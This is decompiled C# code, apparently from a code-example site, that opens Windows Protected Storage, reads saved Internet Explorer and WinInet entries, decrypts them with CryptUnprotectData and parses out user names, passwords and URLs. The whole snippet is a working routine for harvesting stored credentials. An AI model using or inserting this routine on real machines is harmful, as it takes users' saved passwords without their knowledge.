// Token: 0x060001A6 RID: 422 RVA: 0x000061DC File Offset: 0x000043DC
        private static IPStore GetPStoreInterface()
        {
            IPStore result = null;
            Guid    ms_BASE_PSTPROVIDER_SZID = guidProvider.MS_BASE_PSTPROVIDER_SZID;

            CProtectStore.PStoreCreateInstance(ref result, ref ms_BASE_PSTPROVIDER_SZID, 0, 0);
            return(result);
        }
        // Token: 0x060000DF RID: 223 RVA: 0x00002644 File Offset: 0x00000844
        private void AddPasswdInfo(string strRess)
        {
            byte[]   array    = this.m_PStore.ReadItem(this.guidWinInet, this.subguidWinInet, strRess);
            GCHandle gchandle = GCHandle.Alloc(array, GCHandleType.Pinned);
            IntPtr   intPtr   = gchandle.AddrOfPinnedObject();

            checked
            {
                int num = Information.UBound(array, 1) + 1;
                if (Strings.InStr(strRess, "DPAPI:", CompareMethod.Binary) == 1)
                {
                    CHttpFtpAuths.DATA_BLOB data_BLOB;
                    data_BLOB.cbData = num;
                    data_BLOB.pbData = intPtr.ToInt32();
                    CHttpFtpAuths.DATA_BLOB data_BLOB2;
                    int num2 = CHttpFtpAuths.CryptUnprotectData(ref data_BLOB, 0, 0, 0, 0, 0, ref data_BLOB2);
                    if (num2 != 0)
                    {
                        int num3 = Strings.InStr(strRess, "@", CompareMethod.Binary);
                        List <CHttpFtpAuth> winInetPass = this.m_WinInetPass;
                        CProtectStore       pstore      = this.m_PStore;
                        string szUserName = Strings.Mid(strRess, 14, num3 - 14);
                        IntPtr ptr        = new IntPtr(data_BLOB2.pbData);
                        winInetPass.Add(new CHttpFtpAuth(pstore, strRess, szUserName, this.CopyString(ptr), string.Empty, Strings.Mid(strRess, 8), 0));
                        CHttpFtpAuths.LocalFree(data_BLOB2.pbData);
                    }
                }
                else
                {
                    string expression;
                    if (CHttpFtpAuths.lstrlenA(intPtr) != num - 1)
                    {
                        expression = Marshal.PtrToStringUni(intPtr);
                    }
                    else
                    {
                        expression = Marshal.PtrToStringAnsi(intPtr);
                    }
                    string[] array2 = Strings.Split(expression, ":", -1, CompareMethod.Binary);
                    int      num3   = Strings.InStr(strRess, "/", CompareMethod.Binary);
                    if (num3 > 0)
                    {
                        this.m_WinInetPass.Add(new CHttpFtpAuth(this.m_PStore, strRess, array2[0], array2[1], Strings.Mid(strRess, num3 + 1), Strings.Mid(strRess, 1, num3 - 1), 1));
                    }
                    else
                    {
                        this.m_WinInetPass.Add(new CHttpFtpAuth(this.m_PStore, strRess, array2[0], array2[1], string.Empty, strRess, 1));
                    }
                }
                gchandle.Free();
            }
        }
Beispiel #3
0
 // Token: 0x06000113 RID: 275 RVA: 0x000036C8 File Offset: 0x000018C8
 internal CIEPassword(CProtectStore PStore, string szResourceName, string szUserName, string szPasswd, DateTime dtAddDate, int dwType)
 {
     this.guidIE = new Guid("{E161255A-37C3-11D2-BCAA-00C04FD929DB}");
     if (this.m_IPStore == null)
     {
         this.m_IPStore = PStore;
     }
     this.m_dtAddDate      = dtAddDate;
     this.m_dwType         = dwType;
     this.m_szPassword     = szPasswd;
     this.m_szResourceName = szResourceName;
     this.m_szUserName     = szUserName;
 }
Beispiel #4
0
 // Token: 0x060000D1 RID: 209 RVA: 0x000024E4 File Offset: 0x000006E4
 internal CHttpFtpAuth(CProtectStore PStore, string szResourceName, string szUserName, string szPasswd, string szDescription, string szURL, int dwType)
 {
     this.guidWinInet    = new Guid("{5E7E8100-9138-11D1-945A-00C04FC308FF}");
     this.subguidWinInet = new Guid("{00000000-0000-0000-0000-000000000000}");
     if (this.m_IPStore == null)
     {
         this.m_IPStore = PStore;
     }
     this.m_szDescription  = szDescription;
     this.m_dwType         = dwType;
     this.m_szPassword     = szPasswd;
     this.m_szResourceName = szResourceName;
     this.m_szUserName     = szUserName;
     this.m_szURL          = szURL;
 }
 // Token: 0x060001A2 RID: 418 RVA: 0x000061C0 File Offset: 0x000043C0
 public CProtectStore()
 {
     this.m_PStore  = CProtectStore.GetPStoreInterface();
     this.m_KeyType = PST_KEY.PST_KEY_CURRENT_USER;
 }